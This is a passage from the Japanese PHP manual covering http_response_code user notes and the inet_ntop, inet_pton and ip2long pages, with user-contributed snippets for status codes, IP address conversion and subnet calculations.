            case 302: $text = 'Moved Temporarily'; break;
            case 303: $text = 'See Other'; break;
            case 304: $text = 'Not Modified'; break;
            case 305: $text = 'Use Proxy'; break;
            case 400: $text = 'Bad Request'; break;
            case 401: $text = 'Unauthorized'; break;
            case 402: $text = 'Payment Required'; break;
            case 403: $text = 'Forbidden'; break;
            case 404: $text = 'Not Found'; break;
            case 405: $text = 'Method Not Allowed'; break;
            case 406: $text = 'Not Acceptable'; break;
            case 407: $text = 'Proxy Authentication Required'; break;
            case 408: $text = 'Request Time-out'; break;
            case 409: $text = 'Conflict'; break;
            case 410: $text = 'Gone'; break;
            case 411: $text = 'Length Required'; break;
            case 412: $text = 'Precondition Failed'; break;
            case 413: $text = 'Request Entity Too Large'; break;
            case 414: $text = 'Request-URI Too Large'; break;
            case 415: $text = 'Unsupported Media Type'; break;
            case 500: $text = 'Internal Server Error'; break;
            case 501: $text = 'Not Implemented'; break;
            case 502: $text = 'Bad Gateway'; break;
            case 503: $text = 'Service Unavailable'; break;
            case 504: $text = 'Gateway Time-out'; break;
            case 505: $text = 'HTTP Version not supported'; break;
            default:
                trigger_error('Unknown http status code ' . $code, E_USER_ERROR); // exit('Unknown http status code "' . htmlentities($code) . '"');
                return $prev_code;
        }

        $protocol = (isset($_SERVER['SERVER_PROTOCOL']) ? $_SERVER['SERVER_PROTOCOL'] : 'HTTP/1.0');
        header($protocol . ' ' . $code . ' ' . $text);
        $GLOBALS['http_response_code'] = $code;

        // original function always returns the previous or current code
        return $prev_code;
    }
}
Stefan W 10-May-2014 02:55
Note that you can NOT set arbitrary response codes with this function, only those that are known to PHP (or the SAPI PHP is running on).

The following codes currently work as expected (with PHP running as Apache module):
200 - 208, 226
300 - 305, 307, 308
400 - 417, 422 - 424, 426, 428 - 429, 431
500 - 508, 510 - 511

Codes 0, 100, 101, and 102 will be sent as "200 OK".

Everything else will result in "500 Internal Server Error".

If you want to send responses with a freestyle status line, you need to use the `header()` function:

<?php header("HTTP/1.0 418 I'm A Teapot"); ?>
Anonymous 08-Mar-2014 07:23
You can also create a enum by extending the SplEnum class.
<?php

/** HTTP status codes */
class HttpStatusCode extends SplEnum {
    const __default = self::OK;

    const SWITCHING_PROTOCOLS = 101;
    const OK = 200;
    const CREATED = 201;
    const ACCEPTED = 202;
    const NONAUTHORITATIVE_INFORMATION = 203;
    const NO_CONTENT = 204;
    const RESET_CONTENT = 205;
    const PARTIAL_CONTENT = 206;
    const MULTIPLE_CHOICES = 300;
    const MOVED_PERMANENTLY = 301;
    const MOVED_TEMPORARILY = 302;
    const SEE_OTHER = 303;
    const NOT_MODIFIED = 304;
    const USE_PROXY = 305;
    const BAD_REQUEST = 400;
    const UNAUTHORIZED = 401;
    const PAYMENT_REQUIRED = 402;
    const FORBIDDEN = 403;
    const NOT_FOUND = 404;
    const METHOD_NOT_ALLOWED = 405;
    const NOT_ACCEPTABLE = 406;
    const PROXY_AUTHENTICATION_REQUIRED = 407;
    const REQUEST_TIMEOUT = 408;
    const CONFLICT = 408;
    const GONE = 410;
    const LENGTH_REQUIRED = 411;
    const PRECONDITION_FAILED = 412;
    const REQUEST_ENTITY_TOO_LARGE = 413;
    const REQUESTURI_TOO_LARGE = 414;
    const UNSUPPORTED_MEDIA_TYPE = 415;
    const REQUESTED_RANGE_NOT_SATISFIABLE = 416;
    const EXPECTATION_FAILED = 417;
    const IM_A_TEAPOT = 418;
    const INTERNAL_SERVER_ERROR = 500;
    const NOT_IMPLEMENTED = 501;
    const BAD_GATEWAY = 502;
    const SERVICE_UNAVAILABLE = 503;
    const GATEWAY_TIMEOUT = 504;
    const HTTP_VERSION_NOT_SUPPORTED = 505;
}
stephen at bobs-bits dot com 03-Mar-2014 07:44
It's not mentioned explicitly, but the return value when SETTING, is the OLD status code.
e.g.
<?php

$a = http_response_code();
$b = http_response_code(202);
$c = http_response_code();

var_dump($a, $b, $c);

// Result:
// int(200)
// int(200)
// int(202)
?>
Anonymous 24-Aug-2013 01:44
Status codes as an array:

<?php
$http_status_codes = array(100 => "Continue", 101 => "Switching Protocols", 102 => "Processing", 200 => "OK", 201 => "Created", 202 => "Accepted", 203 => "Non-Authoritative Information", 204 => "No Content", 205 => "Reset Content", 206 => "Partial Content", 207 => "Multi-Status", 300 => "Multiple Choices", 301 => "Moved Permanently", 302 => "Found", 303 => "See Other", 304 => "Not Modified", 305 => "Use Proxy", 306 => "(Unused)", 307 => "Temporary Redirect", 308 => "Permanent Redirect", 400 => "Bad Request", 401 => "Unauthorized", 402 => "Payment Required", 403 => "Forbidden", 404 => "Not Found", 405 => "Method Not Allowed", 406 => "Not Acceptable", 407 => "Proxy Authentication Required", 408 => "Request Timeout", 409 => "Conflict", 410 => "Gone", 411 => "Length Required", 412 => "Precondition Failed", 413 => "Request Entity Too Large", 414 => "Request-URI Too Long", 415 => "Unsupported Media Type", 416 => "Requested Range Not Satisfiable", 417 => "Expectation Failed", 418 => "I'm a teapot", 419 => "Authentication Timeout", 420 => "Enhance Your Calm", 422 => "Unprocessable Entity", 423 => "Locked", 424 => "Failed Dependency", 424 => "Method Failure", 425 => "Unordered Collection", 426 => "Upgrade Required", 428 => "Precondition Required", 429 => "Too Many Requests", 431 => "Request Header Fields Too Large", 444 => "No Response", 449 => "Retry With", 450 => "Blocked by Windows Parental Controls", 451 => "Unavailable For Legal Reasons", 494 => "Request Header Too Large", 495 => "Cert Error", 496 => "No Cert", 497 => "HTTP to HTTPS", 499 => "Client Closed Request", 500 => "Internal Server Error", 501 => "Not Implemented", 502 => "Bad Gateway", 503 => "Service Unavailable", 504 => "Gateway Timeout", 505 => "HTTP Version Not Supported", 506 => "Variant Also Negotiates", 507 => "Insufficient Storage", 508 => "Loop Detected", 509 => "Bandwidth Limit Exceeded", 510 => "Not Extended", 511 => "Network Authentication Required", 598 => "Network read timeout error", 599 => "Network connect timeout error");
?>

Source: Wikipedia "List_of_HTTP_status_codes"
Richard F. 15-Jun-2013 10:19
At least on my side with php-fpm and nginx this method does not change the text in the response, only the code.

<?php

// HTTP/1.1 404 Not Found
http_response_code(404);

?>

The resulting response is HTTP/1.1 404 OK
Rob Zazueta 09-May-2013 04:43
The note above from "Anonymous" is wrong. I'm running this behind the AWS Elastic Loadbalancer and trying the header(':'.$error_code...) method mentioned above is treated as invalid HTTP.

The documentation for the header() function has the right way to implement this if you're still on < php 5.4:

<?php
header("HTTP/1.0 404 Not Found");
?>
Anonymous 17-Jul-2012 11:35
If you don't have PHP 5.4 and want to change the returned status code, you can simply write:
<?php
header(':', true, $statusCode);
?>

The ':' are mandatory, or it won't work
craig at craigfrancis dot co dot uk 25-Jan-2012 04:38
If your version of PHP does not include this function:

<?php

    if (!function_exists('http_response_code')) {
        function http_response_code($code = NULL) {

            if ($code !== NULL) {

                switch ($code) {
                    case 100: $text = 'Continue'; break;
                    case 101: $text = 'Switching Protocols'; break;
                    case 200: $text = 'OK'; break;
                    case 201: $text = 'Created'; break;
                    case 202: $text = 'Accepted'; break;
                    case 203: $text = 'Non-Authoritative Information'; break;
                    case 204: $text = 'No Content'; break;
                    case 205: $text = 'Reset Content'; break;
                    case 206: $text = 'Partial Content'; break;
                    case 300: $text = 'Multiple Choices'; break;
                    case 301: $text = 'Moved Permanently'; break;
                    case 302: $text = 'Moved Temporarily'; break;
                    case 303: $text = 'See Other'; break;
                    case 304: $text = 'Not Modified'; break;
                    case 305: $text = 'Use Proxy'; break;
                    case 400: $text = 'Bad Request'; break;
                    case 401: $text = 'Unauthorized'; break;
                    case 402: $text = 'Payment Required'; break;
                    case 403: $text = 'Forbidden'; break;
                    case 404: $text = 'Not Found'; break;
                    case 405: $text = 'Method Not Allowed'; break;
                    case 406: $text = 'Not Acceptable'; break;
                    case 407: $text = 'Proxy Authentication Required'; break;
                    case 408: $text = 'Request Time-out'; break;
                    case 409: $text = 'Conflict'; break;
                    case 410: $text = 'Gone'; break;
                    case 411: $text = 'Length Required'; break;
                    case 412: $text = 'Precondition Failed'; break;
                    case 413: $text = 'Request Entity Too Large'; break;
                    case 414: $text = 'Request-URI Too Large'; break;
                    case 415: $text = 'Unsupported Media Type'; break;
                    case 500: $text = 'Internal Server Error'; break;
                    case 501: $text = 'Not Implemented'; break;
                    case 502: $text = 'Bad Gateway'; break;
                    case 503: $text = 'Service Unavailable'; break;
                    case 504: $text = 'Gateway Time-out'; break;
                    case 505: $text = 'HTTP Version not supported'; break;
                    default:
                        exit('Unknown http status code "' . htmlentities($code) . '"');
                    break;
                }

                $protocol = (isset($_SERVER['SERVER_PROTOCOL']) ? $_SERVER['SERVER_PROTOCOL'] : 'HTTP/1.0');

                header($protocol . ' ' . $code . ' ' . $text);

                $GLOBALS['http_response_code'] = $code;

            } else {

                $code = (isset($GLOBALS['http_response_code']) ? $GLOBALS['http_response_code'] : 200);

            }

            return $code;

        }
    }

?>

In this example I am using $GLOBALS, but you can use whatever storage mechanism you like... I don't think there is a way to return the current status code:

https://bugs.php.net/bug.php?id=52555

For reference the error codes I got from PHP's source code:

http://lxr.php.net/opengrok/xref/PHP_5_4/sapi/cgi/cgi_main.c#354

And how the current http header is sent, with the variables it uses:

http://lxr.php.net/opengrok/xref/PHP_5_4/main/SAPI.c#856


パックされたインターネットアドレスを、人間が読める形式に変換する

  • ≪ http_response_code
  • inet_pton ≫
  • PHP Manual
  • ネットワーク 関数
  • パックされたインターネットアドレスを、人間が読める形式に変換する

inet_ntop

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

inet_ntop — パックされたインターネットアドレスを、人間が読める形式に変換する

説明

inet_ntop ( string $ip ) : string|false

この関数は 32 ビット IPv4 形式あるいは 128 ビット IPv6 形式 (PHP が IPv6 サポートを有効にしてビルドされている場合) のアドレスを文字列表現のアドレスに変換します。

パラメータ

ip

32 ビット IPv4、あるいは 128b ビット IPv6 形式のアドレス。

返り値

アドレスを文字列で表したものを返します。失敗した場合に false を返します。

例

例1 inet_ntop() の例

<?php
$packed = chr(127) . chr(0) . chr(0) . chr(1);
$expanded = inet_ntop($packed);

/* 出力: 127.0.0.1 */
echo $expanded;

$packed = str_repeat(chr(0), 15) . chr(1);
$expanded = inet_ntop($packed);

/* 出力: ::1 */
echo $expanded;
?>

参考

  • long2ip() - 長整数表現のインターネットアドレスを (IPv4) インターネット標準ドット表記に変換する
  • ip2long() - ドット表記の (IPv4) IP アドレスを、長整数表現に変換する
  • inet_pton() - 人間が読める形式の IP アドレスを、パックされた in_addr 形式に変換する

User Contributed Notes

marcus at synchromedia dot co dot uk 03-Jun-2015 04:27
PHP's inet_ntop function is not compatible with the binary representation used by MySQL's INET6_ATON function, assuming you are using the recommended method of storing both IPv4 and IPv6 addresses in a VARBINARY(16) field. You need to convert it like this:

/**
 * Convert a MySQL binary v4 (4-byte) or v6 (16-byte) IP address to a printable string.
 * @param string $ip A binary string containing an IP address, as returned from MySQL's INET6_ATON function
 * @return string Empty if not valid.
 */
function inet6_ntop($ip) {
    $l = strlen($ip);
    if ($l == 4 or $l == 16) {
        return inet_ntop(pack('A' . $l, $ip));
    }
    return '';
}

You don't need a function going the other way because MySQL's INET6_NTOA is already compatible with PHP's inet_pton function.
PandoraBox2007 at gmail dot com 03-Dec-2011 09:05
Before inet_pton nice work
//2001:0db8:85a3:0000:0000:8a2e:0370:7334

After
//2001:db8:85a3::8a2e:370:7334

no need compare compress data
string inet_ntop ( string $in_addr [, bool $compress = false] )

---
ryansun81 at gmail dot com 27-May-2010 03:11
For people who wondering what the meaning of this function name:
pton: a presentation(printable) format address to network address
ntop: a network address to presentation(printable) format address
MagicalTux at FF dot st 04-May-2005 04:43
For people who need this function but don't have it, I could write a function which should give almost the same result.

<?php
function my_inet_ntop($ip) {
    if (strlen($ip)==4) {
        // ipv4
        list(,$ip)=unpack('N',$ip);
        $ip=long2ip($ip);
    } elseif(strlen($ip)==16) {
        // ipv6
        $ip=bin2hex($ip);
        $ip=substr(chunk_split($ip,4,':'),0,-1);
        $ip=explode(':',$ip);
        $res='';
        foreach($ip as $seg) {
            while($seg{0}=='0') $seg=substr($seg,1);
            if ($seg!='') {
                $res.=($res==''?'':':').$seg;
            } else {
                if (strpos($res,'::')===false) {
                    if (substr($res,-1)==':') continue;
                    $res.=':';
                    continue;
                }
                $res.=($res==''?'':':').'0';
            }
        }
        $ip=$res;
    }
    return $ip;
}
?>

I followed IPv6 reprenstation rules :
- A series of "0"s in a 16bit block can by represented by "0".
- A series of blocks containing only "0"s can be suppressed and represented by "::" (this can be done only once)

(source : http://www.ipv6style.jp/en/faq/latest.shtml#2003022112 )

Example:
<?php
$packed = str_repeat(chr(0), 15) . chr(1);
$expanded = my_inet_ntop($packed);

/* Outputs: ::1 */
echo $expanded;
?>

I checked in CVS (2005-04-25) and didn't find the inet_ntop function (I really needed to handle IPv6) so I implemented it myself !


人間が読める形式の IP アドレスを、パックされた in_addr 形式に変換する

  • ≪ inet_ntop
  • ip2long ≫
  • PHP Manual
  • ネットワーク 関数
  • 人間が読める形式の IP アドレスを、パックされた in_addr 形式に変換する

inet_pton

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

inet_pton — 人間が読める形式の IP アドレスを、パックされた in_addr 形式に変換する

説明

inet_pton ( string $ip ) : string|false

この関数は、人間が読める形式の IPv4 あるいは IPv6 (PHP が IPv6 サポートを有効にしてビルドされている場合) のアドレスを 32 ビットあるいは 128 ビットのバイナリ形式に変換します。

パラメータ

ip

可読形式の IPv4 アドレスあるいは IPv6 アドレス。

返り値

指定した ip を in_addr 形式で表したものを返します。 構文的に無効な ip (ドットのない IPv4 アドレスやコロンのない IPv6 アドレスなど) を指定した場合は false を返します。

例

例1 inet_pton() の例

<?php
$in_addr = inet_pton('127.0.0.1');

$in6_addr = inet_pton('::1');
?>

参考

  • ip2long() - ドット表記の (IPv4) IP アドレスを、長整数表現に変換する
  • long2ip() - 長整数表現のインターネットアドレスを (IPv4) インターネット標準ドット表記に変換する
  • inet_ntop() - パックされたインターネットアドレスを、人間が読める形式に変換する

User Contributed Notes

admin at hanzlsoft dot eu 22-Jan-2021 12:33
Regarding the ::127.0.0.1 notation

It is a very special case that needs not to be handled. This kind of notation is reserved for ipv4-compatible ipv6 address.
For example the notation ::ffff:192.0.2.128 can be easily read as "ipv6 address that maps to ipv4 address 192.0.2.128"

However as RFC says:
https://tools.ietf.org/html/rfc5156#page-2

2.2.  IPv4-Mapped Addresses

   ::FFFF:0:0/96 are the IPv4-mapped addresses [RFC4291].  Addresses
   within this block should not appear on the public Internet.

2.3.  IPv4-Compatible Addresses

   ::<ipv4-address>/96 are the IPv4-compatible addresses [RFC4291].
   These addresses are deprecated and should not appear on the public
   Internet.

This means that you only need to handle this kind of notation if you need to be compatible with private IP's
tobias 06-May-2016 05:04
Oh my god:

0000:0000:0000:0000:0000:0000:0127:2258
becomes '"X.

Do not forget to escape it
dave at php dot net 06-Mar-2015 04:07
If you are receiving an "Unrecognized address" error for an IPv6 address, it's possible your version of PHP has not been compiled with IPv6 support.

To check, load up phpinfo(); and look to see if "IPv6 Support" is set to "disabled".
TuRn3r 02-Jun-2014 03:26
Be careful, address with leading 0 return false.

Example :
<?php
inet_pton('172.27.1.04'); // return false
inet_pton('172.27.1.4') ;// return the good result
?>
francis dot besset at gmail dot com 15-Jul-2011 01:45
It is possible to verify if PHP was compiled with --disable-ipv6 option by AF_INET6 constant.

<?php

if (defined('AF_INET6')) {
  echo "PHP was compiled without --disable-ipv6 option";
} else {
  echo "PHP was compiled with --disable-ipv6 option";
}

?>
strata_ranger at hotmail dot com 13-Sep-2009 10:51
If the input string is not a readable IP address, inet_pton() generates an E_WARNING and returns FALSE.  The same is true for inet_ntop().

Also, inet_pton() does not recognize netmask notation (e.g: "1.2.3.4/24" or "1:2::3:4/64") in the input string.  This differs from how some database systems (like postgreSQL) support IP address types, so if you need that sort of functionality when processing IP addresses in PHP you'll have to write it in yourself.

A rough example:

<?php

// Sample IP addresses
$ipaddr = '1.2.3.4/24'; // IPv4 with /24 netmask
$ipaddr = '1:2::3:4/64'; // IPv6 with /64 netmask

// Strip out the netmask, if there is one.
$cx = strpos($ipaddr, '/');
if ($cx)
{
  $subnet = (int)(substr($ipaddr, $cx+1));
  $ipaddr = substr($ipaddr, 0, $cx);
}
else $subnet = null; // No netmask present

// Convert address to packed format
$addr = inet_pton($ipaddr);

// Let's display it as hexadecimal format
foreach(str_split($addr) as $char) echo str_pad(dechex(ord($char)), 2, '0', STR_PAD_LEFT);
echo "<br />\n";

// Convert the netmask
if (is_integer($subnet))
{
  // Maximum netmask length = same as packed address
  $len = 8*strlen($addr);
  if ($subnet > $len) $subnet = $len;

  // Create a hex expression of the subnet mask
  $mask  = str_repeat('f', $subnet>>2);
  switch($subnet & 3)
  {
  case 3: $mask .= 'e'; break;
  case 2: $mask .= 'c'; break;
  case 1: $mask .= '8'; break;
  }
  $mask = str_pad($mask, $len>>2, '0');

  // Packed representation of netmask
  $mask = pack('H*', $mask);
}

// Display the netmask as hexadecimal
foreach(str_split($mask) as $char) echo str_pad(dechex(ord($char)), 2, '0', STR_PAD_LEFT);

?>
eric at vyncke org 18-Jul-2007 10:52
Not so easy in the function below... It is not handling the case of '::' which can happen in an IPv6 and represents any number of 0, addresses could be as simple as ff05::1
me at diogoresende dot net 16-May-2006 02:34
If you want to use the above function you should test for ':' character before '.'. Meaning, you should check if it's an ipv6 address before checking for ipv4.
Why? IPv6 allows this type of notation:

::127.0.0.1

If you check for '.' character you will think this is an ipv4 address and it will fail.


ドット表記の (IPv4) IP アドレスを、長整数表現に変換する

  • ≪ inet_pton
  • long2ip ≫
  • PHP Manual
  • ネットワーク 関数
  • ドット表記の (IPv4) IP アドレスを、長整数表現に変換する

ip2long

(PHP 4, PHP 5, PHP 7, PHP 8)

ip2long — ドット表記の (IPv4) IP アドレスを、長整数表現に変換する

説明

ip2long ( string $ip ) : int|false

関数 ip2long() は、インターネット標準形式 (ドット表記の文字列) 表現から、長整数表現の IPv4 インターネットネットアドレスを生成します。

ip2long() は不完全な形式の IP アドレスに対しても動作します。詳しい情報は » http://publibn.boulder.ibm.com/doc_link/en_US/a_doc_lib/libs/commtrf2/inet_addr.htm を参照ください。

パラメータ

ip

標準形式のアドレス。

返り値

長整数値、あるいは ip が不正な形式の場合に false を返します。

例

例1 ip2long() の例

<?php
$ip = gethostbyname('www.example.com');
$out = "以下の URL は同じ意味です:<br />\n";
$out .= 'http://www.example.com/, http://' . $ip . '/, そして http://' . sprintf("%u", ip2long($ip)) . "/<br />\n";
echo $out;
?>

例2 IP アドレスの表示

2 番目の例は、変換されたアドレスを printf() 関数で出力する方法を示すものです。

<?php
$ip   = gethostbyname('www.example.com');
$long = ip2long($ip);

if ($long == -1 || $long === FALSE) {
    echo '無効な IP です。もういちど確認してください。';
} else {
    echo $ip   . "\n";            // 192.0.34.166
    echo $long . "\n";            // 3221234342 (32 ビット・システムでの -1073732954。整数オーバーフローによるものです)
    printf("%u\n", ip2long($ip)); // 3221234342
}
?>

注意

注意:

PHP の整数型は符号付き形式であり、32 ビットアーキテクチャ上では 多くの IP アドレスが負の整数値になります。 そのため、符号なし IP アドレスを文字列形式で取得するには sprintf() や printf() で "%u" を使用する必要があります。

注意:

PHP 5 <= 5.0.2 での IP 255.255.255.255、 PHP 5 <= 5.2.4 での 64 ビット・システムでの -1 に対して ip2long() が false を返します。 これは PHP 5.2.5 で 4294967295 を返すように修正されています。 32 ビット・システムでは、整数オーバーフローにより -1 を返します。

参考

  • long2ip() - 長整数表現のインターネットアドレスを (IPv4) インターネット標準ドット表記に変換する
  • sprintf() - フォーマットされた文字列を返す

User Contributed Notes

schat 10-May-2019 11:20
sorry i just wrote wrong, sorry. this is the right one. thanks.

<?php
/**
 * convert cidr to ip range
 * From: <https://github.com/www-schat-top>
 * @param  string $cidr "192.168.0.0/23"
 * @return array  ["192.168.0.0", "192.168.1.255"]
 */
function cidr2range($cidr){
   list( $subnet, $mask ) = explode( '/', $cidr );
   return [$subnet, long2ip(ip2long( $subnet ) | (pow(2,( 32 - $mask ))-1))];
}
?>
Mike B 14-Oct-2017 12:16
<?php
/*
     Given an IP address and Subnet Mask,
     determine the subnet address, broadcast address, and wildcard mask
     by using bitwise operators

     ref:  http://php.net/manual/en/language.operators.bitwise.php
*/

$ip='10.10.10.7';
$mask='255.255.255.0';
$wcmask=long2ip( ~ip2long($mask) );
$subnet=long2ip( ip2long($ip) & ip2long($mask) );
$bcast=long2ip( ip2long($ip) | ip2long($wcmask) );
echo "Given address $ip and mask $mask, \n" .
"the subnet is $subnet and broadcast is $bcast \n" .
"with a wildcard mask of $wcmask";

/*
Given address 10.10.10.7 and mask 255.255.255.0,
the subnet is 10.10.10.0 and broadcast is 10.10.10.255
with a wildcard mask of 0.0.0.255
*/

?>
alex at alex-at dot ru 14-Sep-2016 08:52
Here are my versions of prefix to mask and mask to prefix conversions. You can remove first lines with if/preg of each function if you don't want sanity precheck.

    function prefix2Mask($prefix)
    {
        if (!preg_match('#^(?:0*[0-2]?[0-9]|3[0-2])$#', $prefix)) return false; # wrong prefix
        return long2ip(0xffffffff << (32 - $prefix));
    }

    function mask2Prefix($mask)
    {
        if (!preg_match('#^(?:(?:[0-1][0-9][0-9]|2[0-4][0-9]|25[0-5]|[0-9][0-9]|[0-9])\.){3}'.
            '(?:[0-1][0-9][0-9]|2[0-4][0-9]|25[0-5]|[0-9][0-9]|[0-9])$#', $mask))
            return false; # wrong mask
        $m2p = str_pad(substr(decbin(ip2long($mask)), -32, 32), 32, '0', STR_PAD_LEFT);
        if (!preg_match('#^(1*)0*$#', $m2p, $m)) return false; # wrong mask
        return strlen($m[1]);
    }
Karl Rixon 18-Sep-2014 02:01
The manual states that "ip2long() will also work with non-complete IP addresses", however this is system-dependant so cannot be relied upon. For example, on my system ip2long() will return FALSE for incomplete addresses:

<?php
var_dump(ip2long("255.255")); // bool(false)
?>

This is because ip2long will use inet_pton if available, which does not support non-complete addresses. If inet_pton is not available on your system, inet_addr will be used and incomplete addresses will work as stated.
oo dot para at gmail dot com 08-Jan-2014 10:30
If you want to validate IPs using this function, please be careful:
The function filter_var should be used instead for validating IPs.

<?php
$ip = '192.168.0355.24';
var_dump(ip2long($ip) !== false); // true (expected false)
var_dump(filter_var($ip, FILTER_VALIDATE_IP) !== false); // false

$ip = '192.168.355.24';
var_dump(ip2long($ip) !== false); // false
var_dump(filter_var($ip, FILTER_VALIDATE_IP) !== false); // false
?>
rasmus at mindplay dot dk 27-Aug-2013 02:54
As pointed out by others, this function's return value is not consistent on 32 and 64-bit platforms.

Your best bet for consistent behavior across 32/64-bit platforms (and Windows) is the lowest common denominator: force the return value of ip2long() into a signed 32-bit integer, e.g.:

    var_dump(unpack('l', pack('l', ip2long('255.255.255.0'))));

This looks idiotic, but it gives you a consistent signed integer value on all platforms.

(the arguments to both pack() and unpack() are the lower-case letter "L", not the number "1", in case it looks that way on your screen...)
admin at wudimei dot com 04-Jul-2012 02:42
<?php

/**
  *
  *get the first ip and last ip from cidr(network id and mask length)
  * i will integrate this function into "Rong Framework" :)
  * @author admin@wudimei.com
  * @param string $cidr 56.15.0.6/16 , [network id]/[mask length]
  * @return array $ipArray = array( 0 =>"first ip of the network", 1=>"last ip of the network" );
  *                         Each element of $ipArray's type is long int,use long2ip( $ipArray[0] ) to convert it into ip string.
  * example:
  * list( $long_startIp , $long_endIp) = getIpRange( "56.15.0.6/16" );
  * echo "start ip:" . long2ip( $long_startIp );
  * echo "<br />";
  * echo "end ip:" . long2ip( $long_endIp );
  */

  function getIpRang(  $cidr) {

   list($ip, $mask) = explode('/', $cidr);

   $maskBinStr =str_repeat("1", $mask ) . str_repeat("0", 32-$mask );      //net mask binary string
   $inverseMaskBinStr = str_repeat("0", $mask ) . str_repeat("1",  32-$mask ); //inverse mask

   $ipLong = ip2long( $ip );
   $ipMaskLong = bindec( $maskBinStr );
   $inverseIpMaskLong = bindec( $inverseMaskBinStr );
   $netWork = $ipLong & $ipMaskLong;

   $start = $netWork+1;//去掉网?号 ,ignore network ID(eg: 192.168.1.0)

   $end = ($netWork | $inverseIpMaskLong) -1 ; //去掉广播地址 ignore brocast IP(eg: 192.168.1.255)
   return array( $start, $end );
}
?>
replay111 at tlen dot pl 26-May-2012 01:28
Hi,
based on examples above I have mixed class IPFilter with netMatch function wich gives me complete class for IP4 check including CIDR IP format:

<?php
class IP4Filter {

    private static $_IP_TYPE_SINGLE = 'single';
    private static $_IP_TYPE_WILDCARD = 'wildcard';
    private static $_IP_TYPE_MASK = 'mask';
    private static $_IP_TYPE_CIDR = 'CIDR';
    private static $_IP_TYPE_SECTION = 'section';
    private $_allowed_ips = array();

    public function __construct($allowed_ips) {
        $this->_allowed_ips = $allowed_ips;
    }

    public function check($ip, $allowed_ips = null) {
        $allowed_ips = $allowed_ips ? $allowed_ips : $this->_allowed_ips;

        foreach ($allowed_ips as $allowed_ip) {
            $type = $this->_judge_ip_type($allowed_ip);
            $sub_rst = call_user_func(array($this, '_sub_checker_' . $type), $allowed_ip, $ip);

            if ($sub_rst) {
                return true;
            }
        }

        return false;
    }

    private function _judge_ip_type($ip) {
        if (strpos($ip, '*')) {
            return self :: $_IP_TYPE_WILDCARD;
        }

        if (strpos($ip, '/')) {
            $tmp = explode('/', $ip);
            if (strpos($tmp[1], '.')) {
                return self :: $_IP_TYPE_MASK;
            } else {
                return self :: $_IP_TYPE_CIDR;
            }
        }

        if (strpos($ip, '-')) {
            return self :: $_IP_TYPE_SECTION;
        }

        if (ip2long($ip)) {
            return self :: $_IP_TYPE_SINGLE;
        }

        return false;
    }

    private function _sub_checker_single($allowed_ip, $ip) {
        return (ip2long($allowed_ip) == ip2long($ip));
    }

    private function _sub_checker_wildcard($allowed_ip, $ip) {
        $allowed_ip_arr = explode('.', $allowed_ip);
        $ip_arr = explode('.', $ip);
        for ($i = 0; $i < count($allowed_ip_arr); $i++) {
            if ($allowed_ip_arr[$i] == '*') {
                return true;
            } else {
                if (false == ($allowed_ip_arr[$i] == $ip_arr[$i])) {
                    return false;
                }
            }
        }
    }

    private function _sub_checker_mask($allowed_ip, $ip) {
        list($allowed_ip_ip, $allowed_ip_mask) = explode('/', $allowed_ip);
        $begin = (ip2long($allowed_ip_ip) & ip2long($allowed_ip_mask)) + 1;
        $end = (ip2long($allowed_ip_ip) | (~ ip2long($allowed_ip_mask))) + 1;
        $ip = ip2long($ip);
        return ($ip >= $begin && $ip <= $end);
    }

    private function _sub_checker_section($allowed_ip, $ip) {
        list($begin, $end) = explode('-', $allowed_ip);
        $begin = ip2long($begin);
        $end = ip2long($end);
        $ip = ip2long($ip);
        return ($ip >= $begin && $ip <= $end);
    }

    private function _sub_checker_CIDR($CIDR, $IP) {
        list ($net, $mask) = explode('/', $CIDR);
        return ( ip2long($IP) & ~((1 << (32 - $mask)) - 1) ) == ip2long($net);
    }

}
?>

For me this code works great, so I wanna thank to all You guys!!!
Aleksey Kuznetsov 07-May-2012 05:30
Unfortunately sprintf('%u', ...) is low and returns string representation of integer value instead of integer.
Here is a function I use to convert IP to mySQL-compatible signed integer:

function ip2int($ip) {
  if (!$r = ip2long($ip)) return 0; // we want 0 instead of false, even in case of bad IP
  if ($r > 2147483647)
      $r-= 4294967296;
  return $r; // ok
}
pink at pink dot art dot pl 26-Apr-2012 01:09
Be aware when you're running 64bit system, ip2long will result 64 bit integer which doesn't fit in MySQL INT, you can use BIGINT or INT UNSIGNED because on 64bit systems ip2long will never return negative integer. See also https://bugs.php.net/bug.php?id=54338
PandoraBox2007 at gmail dot com 03-Dec-2011 07:06
Universal ip4/ip6

<?php
// encoded --
function encode_ip ($ip)
{
    $d = explode('.', $ip);
    if (count($d) == 4) return sprintf('%02x%02x%02x%02x', $d[0], $d[1], $d[2], $d[3]);

    $d = explode(':', preg_replace('/(^:)|(:$)/', '', $ip));
    $res = '';
    foreach ($d as $x)
        $res .= sprintf('%0'. ($x == '' ? (9 - count($d)) * 4 : 4) .'s', $x);
    return $res;
}

// decoded
function decode_ip($int_ip)
{
    function hexhex($value) { return dechex(hexdec($value)); };

    if (strlen($int_ip) == 32) {
        $int_ip = substr(chunk_split($int_ip, 4, ':'), 0, 39);
        $int_ip = ':'. implode(':', array_map("hexhex", explode(':',$int_ip))) .':';
        preg_match_all("/(:0)+/", $int_ip, $zeros);
        if (count($zeros[0]) > 0) {
            $match = '';
            foreach($zeros[0] as $zero)
                if (strlen($zero) > strlen($match))
                    $match = $zero;
            $int_ip = preg_replace('/'. $match .'/', ':', $int_ip, 1);
        }
        return preg_replace('/(^:([^:]))|(([^:]):$)/', '$2$4', $int_ip);
    }
    $hexipbang = explode('.', chunk_split($int_ip, 2, '.'));
    return hexdec($hexipbang[0]). '.' . hexdec($hexipbang[1]) . '.' . hexdec($hexipbang[2]) . '.' . hexdec($hexipbang[3]);
}
?>

DB:
`user_ip` varchar(32) DEFAULT NULL
joe at joeceresini dot com 24-Nov-2009 05:45
A quick method to convert a netmask (ex: 255.255.255.240) to a cidr mask (ex: /28):

<?php
function mask2cidr($mask){
  $long = ip2long($mask);
  $base = ip2long('255.255.255.255');
  return 32-log(($long ^ $base)+1,2);

  /* xor-ing will give you the inverse mask,
      log base 2 of that +1 will return the number
      of bits that are off in the mask and subtracting
      from 32 gets you the cidr notation */

}
?>
f dot wiessner at smart-weblications dot net 07-Nov-2009 06:12
Here some working ip2long6 and long2ip6 functions - keep in mind that this needs php gmp-lib:

<?php

$ipv6 = "2001:4860:a005::68";

function ip2long6($ipv6) {
  $ip_n = inet_pton($ipv6);
  $bits = 15; // 16 x 8 bit = 128bit
  while ($bits >= 0) {
    $bin = sprintf("%08b",(ord($ip_n[$bits])));
    $ipv6long = $bin.$ipv6long;
    $bits--;
  }
